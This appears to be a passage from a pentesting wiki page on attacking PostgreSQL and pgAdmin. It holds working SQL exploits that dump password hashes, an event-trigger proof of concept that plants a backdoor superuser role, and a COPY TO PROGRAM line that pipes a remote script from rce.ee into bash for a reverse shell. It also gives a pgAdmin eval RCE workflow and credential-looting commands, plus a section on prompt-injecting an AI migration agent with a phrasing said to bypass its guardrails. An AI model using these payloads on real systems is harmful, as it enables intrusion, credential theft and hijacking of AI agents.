    698 Some misconfigured PostgreSQL instances allow privileged local connections that are unavailable remotely. With valid credentials—or an applicable local trust rule—the **`dblink`** extension can make a new loopback connection and execute queries as that role:
    699 
    700 ```sql
    701 \du * # Get Users
    702 \l    # Get databases
    703 SELECT * FROM dblink('host=127.0.0.1
    704     port=5432
    705     user=someuser
    706     password=supersecret
    707     dbname=somedb',
    708     'SELECT usename,passwd from pg_shadow')
    709 RETURNS (result TEXT);
    710 ```
    711 
    712 > [!WARNING]
    713 > Note that for the previous query to work **the function `dblink` needs to exist**. If it doesn't you could try to create it with
    714 >
    715 > ```sql
    716 > CREATE EXTENSION dblink;
    717 > ```
    718 
    719 If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user:
    720 
    721 ```sql
    722 SELECT * FROM dblink('host=127.0.0.1
    723                           user=someuser
    724                           dbname=somedb',
    725                          'SELECT usename,passwd from pg_shadow')
    726                       RETURNS (result TEXT);
    727 ```
    728 
    729 It's possible to check if this function exists with:
    730 
    731 ```sql
    732 SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
    733 ```
    734 
    735 ### **Custom defined function with** SECURITY DEFINER
    736 
    737 [This write-up](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql) describes how pentesters escalated privileges inside an IBM-managed PostgreSQL instance after finding a function declared with **`SECURITY DEFINER`**:<sup>[[10]](#references)</sup>
    738 
    739 <pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text) 
    740     RETURNS text 
    741     LANGUAGE 'plpgsql' 
    742 <strong>    VOLATILE SECURITY DEFINER 
    743 </strong>    PARALLEL UNSAFE 
    744     COST 100 
    745      
    746 AS $BODY$ 
    747                 DECLARE 
    748                      persist_dblink_extension boolean; 
    749                 BEGIN 
    750                     persist_dblink_extension := create_dblink_extension(); 
    751                     PERFORM dblink_connect(format('dbname=%s', db_name)); 
    752                     PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s', 
    753                                                subscription_name, host_ip, portNum, password, username, db_name, publisher_name)); 
    754                     PERFORM dblink_disconnect(); 
    755 … 
    756 </code></pre>
    757 
    758 As [**explained in the docs**](https://www.postgresql.org/docs/current/sql-createfunction.html) a function with **SECURITY DEFINER is executed** with the privileges of the **user that owns it**. Therefore, if the function is **vulnerable to SQL Injection** or is doing some **privileged actions with params controlled by the attacker**, it could be abused to **escalate privileges inside postgres**.<sup>[[17]](#references)</sup>
    759 
    760 The declaration above includes the **`SECURITY DEFINER`** flag.
    761 
    762 ```sql
    763 CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
    764 user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
    765 WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
    766 ```
    767 
    768 And then **execute commands**:
    769 
    770 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28649%29.png" alt=""><figcaption></figcaption></figure>
    771 
    772 ### Password brute force with PL/pgSQL
    773 
    774 **PL/pgSQL** is a **fully featured programming language** that offers greater procedural control compared to SQL. It enables the use of **loops** and other **control structures** to enhance program logic. In addition, **SQL statements** and **triggers** have the capability to invoke functions that are created using the **PL/pgSQL language**. This integration allows for a more comprehensive and versatile approach to database programming and automation.\
    775 In an authorized assessment, server-side loops can test candidate database credentials. See [PL/pgSQL password brute force](/hacktricks/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce); constrain attempts to avoid lockouts and resource exhaustion.
    776 
    777 ### Privilege escalation by overwriting internal PostgreSQL tables
    778 
    779 > [!TIP]
    780 > The following privilege-escalation vector is especially useful in constrained SQL injection contexts because every step can be performed through nested `SELECT` statements.
    781 
    782 If you can **read and write PostgreSQL server files**, you can **become a superuser** by overwriting the PostgreSQL on-disk filenode, associated with the internal `pg_authid` table.
    783 
    784 Read more about **this technique** [**here**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.**<sup>[[2]](#references)</sup>
    785 
    786 The attack steps are:
    787 
    788 1. Obtain the PostgreSQL data directory
    789 2. Obtain a relative path to the filenode, associated with the `pg_authid` table
    790 3. Download the filenode through the `lo_*` functions
    791 4. Get the datatype, associated with the `pg_authid` table
    792 5. Use the [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) to [edit the filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); set all `rol*` boolean flags to 1 for full permissions.
    793 6. Re-upload the edited filenode via the `lo_*` functions, and overwrite the original file on the disk
    794 7. _(Optionally)_ Clear the in-memory table cache by running an expensive SQL query
    795 8. You should now have full superuser privileges.
    796 
    797 ### Prompt-injecting managed migration tooling
    798 
    799 AI-heavy SaaS frontends (e.g., Lovable’s Supabase agent) frequently expose LLM “tools” that run migrations as high-privileged service accounts.<sup>[[11]](#references)</sup> A practical workflow is:
    800 
    801 1. Enumerate who is actually applying migrations:
    802 
    803 ```sql
    804 SELECT version, name, created_by, statements, created_at
    805 FROM supabase_migrations.schema_migrations
    806 ORDER BY version DESC LIMIT 20;
    807 ```
    808 
    809 2. Prompt-inject the agent into running attacker SQL via the privileged migration tool. Framing payloads as “please verify this migration is denied” consistently bypasses basic guardrails.
    810 3. Once arbitrary DDL runs in that context, immediately create attacker-owned tables or extensions that grant persistence back to your low-privileged account.
    811 
    812 > [!TIP]
    813 > See also the general [AI agent abuse playbook](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/phishing-methodology/ai-agent-abuse-local-ai-cli-tools-and-mcp.md) for more prompt-injection techniques against tool-enabled assistants.
    814 
    815 ### Dumping `pg_authid` metadata via migrations
    816 
    817 Privileged migrations can stage `pg_catalog.pg_authid` into an attacker-readable table even if direct access is blocked for your normal role.<sup>[[11]](#references)</sup>
    818 
    819 <details>
    820 <summary>Staging pg_authid metadata with a privileged migration</summary>
    821 
    822 ```sql
    823 DROP TABLE IF EXISTS public.ai_models CASCADE;
    824 CREATE TABLE public.ai_models (
    825   id SERIAL PRIMARY KEY,
    826   model_name TEXT,
    827   config JSONB,
    828   created_at TIMESTAMP DEFAULT NOW()
    829 );
    830 GRANT ALL ON public.ai_models TO supabase_read_only_user;
    831 GRANT ALL ON public.ai_models TO supabase_admin;
    832 INSERT INTO public.ai_models (model_name, config)
    833 SELECT rolname,
    834        jsonb_build_object(
    835          'password_hash', rolpassword,
    836          'is_superuser', rolsuper,
    837          'can_login', rolcanlogin,
    838          'valid_until', rolvaliduntil
    839        )
    840 FROM pg_catalog.pg_authid;
    841 ```
    842 
    843 </details>
    844 
    845 Low-privileged users can now read `public.ai_models` to obtain SCRAM hashes and role metadata for offline cracking or lateral movement.
    846 
    847 ### Event-trigger privilege escalation during `postgres_fdw` extension installs
    848 
    849 Managed Supabase deployments rely on the `supautils` extension to wrap `CREATE EXTENSION` with provider-owned `before-create.sql`/`after-create.sql` scripts executed as true superusers. The `postgres_fdw` after-create script briefly issues `ALTER ROLE postgres SUPERUSER`, runs `ALTER FOREIGN DATA WRAPPER postgres_fdw OWNER TO postgres`, then reverts `postgres` back to `NOSUPERUSER`. Because `ALTER FOREIGN DATA WRAPPER` fires `ddl_command_start`/`ddl_command_end` event triggers while `current_user` is superuser, tenant-created triggers can execute attacker SQL inside that window.<sup>[[11]](#references)</sup>
    850 
    851 Exploit flow:
    852 
    853 1. Create a PL/pgSQL event trigger function that checks `SELECT usesuper FROM pg_user WHERE usename = current_user` and, when true, provisions a backdoor role (e.g., `CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD 'temp123'`).
    854 2. Register the function on both `ddl_command_start` and `ddl_command_end`.
    855 3. `DROP EXTENSION IF EXISTS postgres_fdw CASCADE;` followed by `CREATE EXTENSION postgres_fdw;` to re-run Supabase’s after-create hook.
    856 4. When the hook elevates `postgres`, the trigger executes, creates the persistent SUPERUSER role, and grants it back to `postgres` for easy `SET ROLE` access.
    857 
    858 <details>
    859 <summary>Event trigger PoC for the postgres_fdw after-create window</summary>
    860 
    861 ```sql
    862 CREATE OR REPLACE FUNCTION escalate_priv()
    863 RETURNS event_trigger AS $$
    864 DECLARE
    865   is_super BOOLEAN;
    866 BEGIN
    867   SELECT usesuper INTO is_super FROM pg_user WHERE usename = current_user;
    868   IF is_super THEN
    869     BEGIN
    870       EXECUTE 'CREATE ROLE priv_esc WITH SUPERUSER LOGIN PASSWORD ''temp123''';
    871     EXCEPTION WHEN duplicate_object THEN
    872       NULL;
    873     END;
    874     BEGIN
    875       EXECUTE 'GRANT priv_esc TO postgres';
    876     EXCEPTION WHEN OTHERS THEN
    877       NULL;
    878     END;
    879   END IF;
    880 END;
    881 $$ LANGUAGE plpgsql;
    882 
    883 DROP EVENT TRIGGER IF EXISTS log_start CASCADE;
    884 DROP EVENT TRIGGER IF EXISTS log_end CASCADE;
    885 CREATE EVENT TRIGGER log_start ON ddl_command_start EXECUTE FUNCTION escalate_priv();
    886 CREATE EVENT TRIGGER log_end   ON ddl_command_end   EXECUTE FUNCTION escalate_priv();
    887 
    888 DROP EXTENSION IF EXISTS postgres_fdw CASCADE;
    889 CREATE EXTENSION postgres_fdw;
    890 ```
    891 
    892 </details>
    893 
    894 Supabase’s attempt to skip unsafe triggers only checks ownership, so ensure the trigger function owner is your low-privileged role, but the payload executes only when the hook flips `current_user` into SUPERUSER. Because the trigger re-runs on future DDL, it doubles as a self-healing persistence backdoor whenever the provider briefly elevates tenant roles.
    895 
    896 ### Turning transient SUPERUSER access into host compromise
    897 
    898 After `SET ROLE priv_esc;` succeeds, re-run earlier blocked primitives:<sup>[[11]](#references)</sup>
    899 
    900 ```sql
    901 INSERT INTO public.ai_models(model_name, config)
    902 VALUES ('hostname', to_jsonb(pg_read_file('/etc/hostname', 0, 100)));
    903 COPY (SELECT '') TO PROGRAM 'curl https://rce.ee/rev.sh | bash';
    904 ```
    905 
    906 `pg_read_file`/`COPY ... TO PROGRAM` now provide arbitrary file access and command execution as the database OS account. Follow up with standard host privilege escalation:
    907 
    908 ```bash
    909 find / -perm -4000 -type f 2>/dev/null
    910 ```
    911 
    912 Abusing a misconfigured SUID binary or writable config grants root. Once root, harvest orchestration credentials (systemd unit env files, `/etc/supabase`, kubeconfigs, agent tokens) to pivot laterally across the provider’s region.
    913 
    914 ## **POST**
    915 
    916 ```text
    917 msf> use auxiliary/scanner/postgres/postgres_hashdump
    918 msf> use auxiliary/scanner/postgres/postgres_schemadump
    919 msf> use auxiliary/admin/postgres/postgres_readfile
    920 msf> use exploit/linux/postgres/postgres_payload
    921 msf> use exploit/windows/postgres/postgres_payload
    922 ```
    923 
    924 ### logging
    925 
    926 Inside the _**postgresql.conf**_ file you can enable postgresql logs changing:
    927 
    928 ```bash
    929 log_statement = 'all'
    930 log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
    931 logging_collector = on
    932 sudo service postgresql restart
    933 #Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
    934 #or in /var/lib/postgresql/<PG_Version>/main/pg_log/
    935 ```
    936 
    937 Then, **restart the service**.
    938 
    939 ### pgadmin
    940 
    941 [pgadmin](https://www.pgadmin.org) is an administration and development platform for PostgreSQL.\
    942 You can find **passwords** inside the _**pgadmin4.db**_ file\
    943 You can decrypt them using the _**decrypt**_ function inside the script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
    944 
    945 ```bash
    946 sqlite3 pgadmin4.db ".schema"
    947 sqlite3 pgadmin4.db "select * from user;"
    948 sqlite3 pgadmin4.db "select * from server;"
    949 string pgadmin4.db
    950 ```
    951 
    952 In Dockerized deployments, pgAdmin secrets are often split between **`pgadmin4.db`**, **environment variables**, and **runtime-only connection state**.<sup>[[12]](#references)</sup>
    953 
    954 #### Authenticated RCE before 9.2 (CVE-2025-2945)
    955 
    956 In **pgAdmin 4 < 9.2**, the POST endpoints **`/sqleditor/query_tool/download`** (`query_commited`) and **`/cloud/deploy`** (`high_availability`) pass attacker-controlled data to Python `eval()`. Any authenticated pgAdmin user who can reach these routes can turn a normal export/deploy action into OS command execution as the pgAdmin service account.<sup>[[13]](#references)[[14]](#references)</sup>
    957 
    958 Practical workflow:
    959 
    960 1. Login to pgAdmin.
    961 2. Open **Query Tool** for any registered server and run a trivial query so a result set exists.
    962 3. Intercept **Save Results to File** in Burp.
    963 4. Replace the expected Boolean/option with a Python expression and replay the request.
    964 5. Confirm blind execution with ICMP/DNS/HTTP, then switch to a shell payload.
    965 
    966 #### Post-exploitation: environment and SQLite loot
    967 
    968 If the shell lands inside the pgAdmin container, check **environment variables** and **`/var/lib/pgadmin/pgadmin4.db`** first:<sup>[[12]](#references)</sup>
    969 
    970 ```bash
    971 env | sort
    972 tr '\0' '\n' </proc/1/environ | sort
    973 sqlite3 /var/lib/pgadmin/pgadmin4.db '.tables'
    974 sqlite3 /var/lib/pgadmin/pgadmin4.db 'select id,name,host,port,username,maintenance_db,save_password from server;'
    975 sqlite3 /var/lib/pgadmin/pgadmin4.db 'select id,email,password from user;'
    976 sqlite3 /var/lib/pgadmin/pgadmin4.db "select name,value from keys where name='SECURITY_PASSWORD_SALT';"
    977 ```
    978 
    979 High-value findings:
    980 
    981 - **`PGADMIN_DEFAULT_EMAIL`** / **`PGADMIN_DEFAULT_PASSWORD`**
    982 - **numeric env vars** holding live database passwords for active connections
    983 - **`server`** rows with internal DB hosts, ports, usernames, and **`save_password`**
    984 - **`user`** rows with pgAdmin login hashes
    985 - **`keys`** rows exposing app crypto material such as **`SECURITY_PASSWORD_SALT`**
    986 
    987 When **`save_password=0`**, the password may still be available from the process environment instead of the SQLite **`server`** row.
    988 
    989 #### Verifying pgAdmin password hashes
    990 
    991 pgAdmin user hashes are **not** a direct PBKDF2 of the plaintext. For the observed scheme, derive **`Base64(HMAC-SHA512(SECURITY_PASSWORD_SALT, plaintext_password))`** first, then verify that derived value against the stored Passlib PBKDF2-SHA512 record.<sup>[[12]](#references)</sup>
    992 
    993 ```python
    994 import hashlib
    995 import hmac
    996 from base64 import b64encode
    997 from passlib.hash import pbkdf2_sha512
    998 
    999 salt = '<SECURITY_PASSWORD_SALT>'
   1000 password = '<candidate_password>'
   1001 stored_hash = '<hash from user table>'
   1002 
   1003 derived = b64encode(
   1004     hmac.new(salt.encode(), password.encode(), hashlib.sha512).digest()
   1005 )
   1006 print(pbkdf2_sha512.verify(derived, stored_hash))
   1007 ```
   1008 
   1009 ### pg_hba
   1010 
   1011 Client authentication in PostgreSQL is managed through a configuration file called **pg_hba.conf**. This file contains a series of records, each specifying a connection type, client IP address range (if applicable), database name, user name, and the authentication method to use for matching connections. The first record that matches the connection type, client address, requested database, and user name is used for authentication. There is no fallback or backup if authentication fails. If no record matches, access is denied.
   1012 
   1013 Current password-based methods include **`scram-sha-256`**, **`md5`**, and **`password`**. `scram-sha-256` performs SCRAM authentication; an `md5` rule can negotiate SCRAM when the stored verifier is SCRAM, while MD5 password verifiers are deprecated; `password` sends the password in cleartext unless the connection is protected by TLS. Historical `crypt` authentication is no longer supported by current PostgreSQL releases.<sup>[[20]](#references)</sup>
   1014 
   1015 #### Local Linux enumeration
   1016 
   1017 With shell access, PostgreSQL is often about **auth policy**, **socket access**, and **credential artifacts** rather than raw TCP exposure.
   1018 
   1019 High-signal paths and files:
   1020 
   1021 ```bash
   1022 find /etc/postgresql -maxdepth 4 -type f \( -name "postgresql.conf" -o -name "pg_hba.conf" \) 2>/dev/null
   1023 ls -l /var/run/postgresql/.s.PGSQL.5432 ~/.pgpass 2>/dev/null
   1024 ```
   1025 
   1026 Important settings and meanings:
   1027 
   1028 - **`listen_addresses`** controls which interfaces PostgreSQL binds to (`'*'` means all)
   1029 - **`peer`** maps the local **OS user** to a DB role on UNIX sockets
   1030 - **`trust`** allows passwordless access for matching rules
   1031 
   1032 Quick checks:
   1033 
   1034 ```bash
   1035 rg -n "^(host|local)|trust|peer|md5|scram|password|ssl" /etc/postgresql 2>/dev/null
   1036 sudo -u postgres psql -c 'SHOW hba_file; SHOW config_file;' 2>/dev/null
   1037 sudo -u postgres psql -c '\du' 2>/dev/null
   1038 ```
   1039 
   1040 What to look for:
   1041 
   1042 - **`trust`** entries outside a lab/dev context
   1043 - permissive **`peer`** mappings that turn OS access into DB admin
   1044 - weak permissions on **`~/.pgpass`**
   1045 - roles with **`SUPERUSER`**, **`CREATEDB`**, **`REPLICATION`**, or **`BYPASSRLS`**
   1046 
   1047 ## References
   1048 
   1049 - [1] [Port scanning through PostgreSQL `dblink` connection error messages (Exploit-DB Paper #13084)](https://www.exploit-db.com/papers/13084)
   1050 - [2] [Updating PostgreSQL Data Without UPDATE (adeadfed)](https://adeadfed.com/posts/updating-postgresql-data-without-update/)
   1051 - [3] [Authenticated Arbitrary Command Execution on PostgreSQL 9.3+ (GreenWolf Security)](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
   1052 - [4] [HTB: DarkCorp by 0xdf](https://0xdf.gitlab.io/2025/10/18/htb-darkcorp.html)
   1053 - [5] [PayloadsAllTheThings: PostgreSQL Injection - Using COPY TO/FROM PROGRAM](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#using-copy-tofrom-program)
   1054 - [6] [Hacking Postgres via SQLi: ssl_passphrase_command RCE (Pulse Security)](https://pulsesecurity.co.nz/articles/postgres-sqli)
   1055 - [7] [Postgres SQL injection to RCE with archive_command (The Gray Area)](https://thegrayarea.tech/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)
   1056 - [8] [PostgreSQL SELECT-only RCE via session_preload_libraries (adeadfed)](https://adeadfed.com/posts/postgresql-select-only-rce/)
   1057 - [9] [The Cloud Has an Isolation Problem: PostgreSQL Vulnerabilities (Wiz)](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)
   1058 - [10] [Hell's Keychain: Supply Chain Attack in IBM Cloud Databases for PostgreSQL (Wiz)](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)
   1059 - [11] [SupaPwn: Hacking Our Way into Lovable's Office and Helping Secure Supabase](https://www.hacktron.ai/blog/supapwn)
   1060 - [12] [HTB: Fries by 0xdf](https://0xdf.gitlab.io/2026/07/25/htb-fries.html)
   1061 - [13] [pgAdmin fix for CVE-2025-2945](https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c)
   1062 - [14] [NVD: CVE-2025-2945](https://nvd.nist.gov/vuln/detail/CVE-2025-2945)
   1063 - [15] [postgresql.org - feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935)
   1064 - [16] [PostgreSQL 13 documentation - GRANT](https://www.postgresql.org/docs/13/sql-grant.html)
   1065 - [17] [PostgreSQL documentation - CREATE FUNCTION and `SECURITY DEFINER`](https://www.postgresql.org/docs/current/sql-createfunction.html)
   1066 - [18] [PostgreSQL documentation - `postgres` server port and bind failures](https://www.postgresql.org/docs/current/app-postgres.html)
   1067 - [19] [PostgreSQL 16 release notes - restrictions on `CREATEROLE`](https://www.postgresql.org/docs/16/release-16.html)
   1068 - [20] [PostgreSQL documentation - `pg_hba.conf` authentication methods](https://www.postgresql.org/docs/current/auth-pg-hba-conf.html)